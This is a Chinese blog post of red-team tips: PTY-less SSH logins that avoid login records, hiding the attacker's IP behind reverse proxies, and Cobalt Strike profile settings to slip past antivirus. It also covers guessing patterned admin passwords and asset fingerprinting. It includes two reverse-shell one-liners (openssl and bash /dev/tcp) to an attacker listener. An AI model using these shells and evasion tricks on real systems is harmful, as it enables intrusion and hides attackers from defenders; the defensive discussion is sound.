前言

希望能够面向红蓝双方进行讲解,在进行一些攻击方式分析时,同样也会引起防守方对于攻击的思考。红蓝对抗的意义也正是在这种持续的攻击下不断寻找防御的平衡点,故 未知攻,焉知防。

​ 本文仅做安全研究作用,切勿违法乱纪。

幽灵登录

​ ssh -T root@192.168.1.1 /usr/bin/bash -i

​ 相信熟悉红队的小伙伴,不难看出,上面这条命令在日常渗透中,进行登录操作会经常使用,因为他不分配伪终端的方式而不会被w和last等命令记录。所以在某些时候,如果防守方在上机排查时,仅查看日志发现没有异常登录,却没有注意到是否存在异常网络连接时,就会判断为误报,给攻击者可乘之机。

通过上图,大家可以看到没有任何的登录信息,同样lastlog也不会记录本次登录行为。那么这种方式没有办法排查吗?其实不是的,因为攻击者在连接22端口时,并不是没有痕迹,只要连接SSH端口就一定存在记录。

如图,我们从lsof以及ss命令结果中发现了连接服务器的恶意IP地址,那么这里留一个疑问,攻击者还有什么办法可以规避这样的排查方式呢?其实,在全国HW中,常见的隐匿个人主机IP地址的方式有许多,例如:肉鸡代理流量、VPN、基础隐匿设施等手段。而在攻击溯源的过程中,防守方通过攻击肉鸡服务器获取权限从而溯源攻击者信息的手段屡试不爽,除非攻击者愿意在拿下肉鸡权限后长期维护,不然一些水平不错的溯源人员也可以通过相同的方式拿下权限追溯攻击源,当然很少有攻击者愿意花费时间成本在一个肉鸡上,基本上都是用一次换一个。

​ 但是不得不承认,时至今日,肉鸡仍然是非常有效的隐匿及攻击方式。

SSH隧道隐匿

​ 目前的内网渗透中,市面上有着大量各种各样的代理工具,例如:frp、ew、nps、venom、regeorg等等,根据不同的场景使用的协议也各不相同,也有DNS、ICMP、RDP这些非常规协议代理的工具。但是这些代理工具基本上都被一些杀软和态感所敏感,基本上在非免杀状态下就是落地被杀。所以也更加推荐大家使用一些系统自带的工具进行代理流量,例如:SSH隧道代理,Windows netsh、iptables等。本段将着重讲解SSH隧道代理的Tips。

​ 这里我们可以着重看一下箭头所指的地方,通过SSH隧道代理的方式,抛开我们VPS用户密码被监测到不谈,真实IP也一览无余的在网络进程以及相关连接中,老道的防守方成员可以很直观的发现是一起【SSH隧道代理事件】,但是这里也不是我们所需要关注的,毕竟我们不能把所有防守方当傻子,要正视对手的能力。【网络安全学习资料·攻略

​ 这里我们采取Nginx反向代理的方式,具体实现方式这里不多赘述,感兴趣的同学可以关注Ngrok或者Heroku等方式的配置,也可以自己使用匿名域名及服务器搭建。

​ 通过上图我们可以看到使用反向代理的地址进行SSH隧道转发可以有效的隐匿真实的IP地址以及IP地址,注意这里的IP地址是Ngrok服务器的地址,从而实现了隐匿的效果。

反弹shell隐匿

​ 在我们日常渗透Linux主机的时候,当碰到RCE漏洞的时候,需要进行反弹获取交互shell的时候,通常都会使用以下两条命令。

例1:

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.0.100:2333 > /tmp/s; rm /tmp/s

例2:

bash -c 'exec bash -i &>/dev/tcp/192.168.0.100/2333 <&1'

​ 以上的两个例子可以说是我们日常渗透中最常用的两条反弹shell命令,当然例1的优点是他的流量是进行了加密的,在这种情况下反弹shell执行的命令是无法被流控监测到的,最多可能会报 隐蔽隧道通信 的异常事件,但是这种事件对于一个有一定规模的值守单位,真的是太正常了。每天都会发生成千上万起类似的误报,而像向日葵、teamview这一类的报警基本都是直接忽略的。

​ 但是我们所需要注意的也正是这样的反弹方式,无论是例1还是例2我们都会发现都是不可避免的泄露了真实IP地址。其实这里的隐匿方式与上面的SSH隧道代理的原理是一样的。都是通过了反向代理的方式实现的,之前的文章中的渗透操作中也有使用这样的方式,然后有师傅咨询过,所以这里再拿出来冷饭热炒一下。

最终的效果如上图,可以看到反弹shell的地址为反向代理的域名,连接的端口为10075而实际上线的端口并不是这一个,这也仅仅是与前端服务器建立的网络连接,实际真正上线的为前端服务器转发给后端服务器的地址。

CosbaltStrike Profile

​ 相信绝大多数从事渗透工作的同学对于CosbaltStrike这个工具都不陌生,虽然目前一线的红队已经逐渐从CS转到一些小众的C2设施去,但是不置可否的是CS仍然是非常好用的工具,它所提供的Profile自定义流量特征的功能,如果配置得体搭配域前置技术实现高信誉域名结合,所制造的效果基本上与正常的流量没有差异。

​ 灵活的编写Porfile是非常行之有效的,也不仅仅只是应用于伪造隐匿,在做免杀时,通过配置相关的混淆参数也可以过卡巴斯基的流量查杀,在之前测试免杀时,基本上静态已经过了,但是脚本仍然启动一会就被查杀了,这时通过配置CS profile的以下两段代码解决。

通过配置 set obfuscate “true”; 高度混淆内存中的代码绕过。

而对于我们使用域前置的方式,假设profile不进行任何配置,则会告警。如下图

​ 这时通过配置profile中stage的set cleanup “true”;即可解决。

​ 这里风起哥将自己编写的profile文件传到了Github上,感兴趣的小伙伴可以自行下载进行个性化配置。

​ Github:https://github.com/wikiZ/service_cobaltstrike

运维惯性密码

​ 在很多时候我们横向拿下主机服务也不一定非要通过正面打漏洞的方式,在某次渗透项目中,我们通过推测运维密码习惯的方式拿下了23台Redis数据库,起初通过配置文件只发现了一个redis数据库密码,但是本机上部署有大量的redis数据库,但是通过对这些redis数据库的端口号与密码分析得到了一个规律。【网络安全学习资料·攻略

zzRedis63902020 像这个密码,不难猜测密码为前后缀固定格式,中间四位为本机端口号,然后重新组合登录,然后尝试登录,发现确实如此。

​ 然后,懂得都懂。

​ 值得思考的是,这样的密码组合方式拓宽权限的方式真的不要太多了。毕竟运维也是人,不可能一个服务一个密码,但是安全管理规定也要执行,所以很多时候就出现了这些富有规律的密码。

​ 所以像此类攻击获取的权限,也许不是防守方人不行,而真的是路不平了吧哈哈哈。

行为测绘

​ 上面讲解了几个红蓝对抗中常碰到的一些Tips,其实就目前一些地方护网项目来看,与常规渗透的区别也并不是很大,所以上面讲的一些方式可能更加适用于全国HW行动中使用,因为无论是人员水准还是重视程度都差异非常大。

​ 但是不管在日常渗透中还是HW项目中,行为测绘都是非常行之有效的资产测绘手段。

​ 首先对于梳理企业资产,我们首先需要思考三个W,也就是who? what? where? 字面来看也就是谁的?什么?哪里? 而应用于红队,目前各级护网对于资产归属的划分其实比较严格,例如资产属于总集团还是二级单位或者子公司,是否与集团内网互通?都是需要思考以及确认的点。那么我们首先从who去思考再从what谁和where在哪里去收集,资产的所属单位以及相关的网络信息,例如使用的框架、部署的业务系统、服务、开放的端口、使用的开发语言、域名等等。

​ 不同的群体,可能表现出基本的独有的特征,当我们能掌握到这个特征,那么我们就能尽可能识别出这个群体里的所有个体,而这些所谓的行为特征在网络空间测绘里表现出的是这个设备各个端口协议里的banner特征。
​ 目前在网络空间测绘里常用的通用组件指纹识别形成的指纹库就是利用了通用组件通用的默认配置特征这个“行为”来进行识别的。

​ 也就是说,当我们掌握了一定的目标资产特征的时候,就可以根据我们对指纹的理解编写规则更加精准的匹配资产。并且通过资产测绘的方式也可以尽量减少主动扫描被发现的概率,因为一般的目标组织,他的对外业务服务并不会频繁的改动,所以我们得到的信息通常是较为精准的。

​ 这里我们最常提取的特征像favicon图标hash码,HTTPS证书序列号,前端代码段,服务连接banner等。
网络安全学习资料·攻略
​ 例如我们去做漏洞应急,以exploit-db上的公开漏洞举例。

该举例漏洞为国外的一个WIFI摄像头设备的未授权RCE漏洞,我们可以看到公开的漏洞POC中得到了两个关键信息,该漏洞是通过连接目标设备telnet 23端口,因为default用户登录未鉴权导致。所以我们通过提取port:23 +"goke login:"这两个特征作为指纹关联受影响的资产。


​ 通过Kunyu关联资产,发现全网共有318台脆弱资产。

​ 同样对于内网中的一些隐秘资产也可以采取HOSTS碰撞的方式。这种方式也是源于在企业内网中可能使用了很多Nginx反向代理,仅能使用配置好的ServerName的内网域名进行访问,那么我们在外网使用HOSTS碰撞的方式就可以碰撞出很多仅能内网使用的业务平台,直通内网业务!

​ 这里仅做抛砖引玉的作用,更高效的企业资产收集方式可以关注Kunyu(坤舆)的使用。

knownsec/Kunyu: Kunyu, more efficient corporate asset collection (github.com)

后记

​ 再次感谢各位读者的支持,我一直觉得写文章是一件很有意思的事,把自己所学的,总结的经验以文字的形式传递下去,我最初的想法也是如此,我认为哪怕只有一位师傅看到我的文章后觉得有所收获,那么我觉得我所做的就不是没有意义的。

​ Kunyu(坤舆),后期持续维护更新,目前已经着力于结合测绘数据进行深度信息收集,并且后续会将更新点着力于此。同样应用于打击新型网络犯罪中也有显著效果,会在之后的文章以实战的方式展示给大家。

​ 最后祝大家心想事成,美梦成真!

Community

有想要【网络安全学习资料·攻略】的,或者交流技术的同学,可以关注私我获取

【安全实战】红队攻防技术相关推荐

  1. MS08067红队攻防第四期 开班啦~

    文章来源|MS08067 红队攻防培训班 6.25号我们开启了"红队攻防培训班"第一期,8.13号开启了第二期,9.5号开启了第三期班,感谢广大学员的支持,第四期又如约而至了~~ ...

  2. 红队攻防之从边界突破到漫游内网(无cs和msf)

    前言 网络安全的本质:懂进攻,知防守,先正向,后逆向. 本篇文章目录 网络拓扑图: 本次红队攻防实战所需绘制的拓扑图如下: 边界突破 访问网站: http://xxx.xxx.xxx/?id=1 首页 ...

  3. 红蓝对抗-红队攻防全流程解析

    红队攻防全流程解析 文章目录 红队攻防全流程解析 基础设施架构设计部署 选择域名 邮件钓鱼之前期信息收集与侦查 钓鱼样本制作 内网横向移动 文件感染与横向移动 基础设施架构设计部署 普通架构:红队人员 ...

  4. 【红队攻防】Attack矩阵图

    1.参考以下attack详细矩阵图 2.相关红队资源开源项目 1.MITRE ATT&CK® 2.https://github.com/threathunters-io/laurel 3.ht ...

  5. 红队攻防之PC端微信个人信息与聊天记录取证

    本文转载于:https://blog.csdn.net/shuteer_xu/article/details/128245994 0x01 声明 声明:该公众号大部分文章来自作者日常学习笔记,未经授权 ...

  6. msf实战提权windows_ATTamp;CK实战 | 红队评估一(上)

    ------ 昨日回顾 ------ 红日安全出品|转载请注明来源

  7. 红队攻防知识分享-红日安全团队靶场1

    环境搭建 靶场链接:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 环境拓扑图: 以下是虚拟机网络配置 虚拟机 网络配置 Windows7 x64 ...

  8. 你最想了解的红队实战攻防技术,来了

    前言 当前行业内组织的 "红蓝对抗演习" 在检验企业安全的同时也在磨练技术人员的技术水平,在近几年的演习中可以发现攻防双方的水准都有了极大的提升,本文将以红队的视角去阐述技术思想. ...

  9. 红队笔记之渗透测试流程以及各环节技术纲要

    相比传统渗透测试,红队则更趋于真实的入侵活动,红队这个词汇最先来源于军方的红蓝对抗活动.每一步入侵操作都有着其特有的战术和技术手段,而这些战术手段在实际过程中都绝不会是完全孤立使用的,需要多个手段相互 ...

最新文章

  1. python3.6爬虫环境安装要多少内存_Python3爬虫环境配置——解析库安装(附tesserocr安装方法)...
  2. (0079)iOS开发之安全策略之HTTPS(1)
  3. undo表空间文件丢失恢复(3)--无备份无redo的情况下恢复
  4. Mysql 死锁过程及案例详解之元数据锁MetaData Lock
  5. ENode 2.0 - 深入分析ENode的内部实现流程和关键地方的幂等设计
  6. 面试官:Spring为什么建议使用构造器来注入?
  7. 【渝粤教育】电大中专沟通技巧作业 题库
  8. csp2020 j2民间数据下载_摊开母婴市场数据集看一看
  9. 模块dll加载失败请确保该二进制_Windows漏洞利用开发 – 第3部分:偏移更改和重定位模块...
  10. [2019杭电多校第十场][hdu6701]Make Rounddog Happy
  11. 可视化管理_供应链可视化管理作用与现状分析
  12. 保持头脑清醒的窍门2/13
  13. MATLAB2021下载安装图文教程
  14. 初入职场的程序员,不想被时代淘汰?那你必须迈过这个坎!
  15. spring学习-01编译spring5.0源码(亲测可用)
  16. Git查询一定时间范围团队代码提交日志
  17. 前后端RSA加密梳理
  18. 英语计算机四级如何查询,四级成绩查询
  19. 1.4.17 实验17:ASBR
  20. python能建网站吗_python适合建网站吗

热门文章

  1. Computer:屏幕录像专家软件的简介、安装、使用方法之详细攻略
  2. Python语言学习之字符串那些事:python和字符串的使用方法之详细攻略
  3. NLP之ASR:语音识别技术(Automatic Speech Recognition)的简介、发展历史、案例应用之详细攻略
  4. 「CF622F」The Sum of the k-th Powers「拉格朗日插值」
  5. 【转】五、谈扩展方法的理解
  6. Tomcat7的安装与配置
  7. Mathematica数据处理(11)--标签
  8. UVALive 4225 Prime Bases 贪心
  9. 一些.net持久化框架的例子
  10. CAN总线基础(二)——CAN总线物理层介绍(总线电压详解)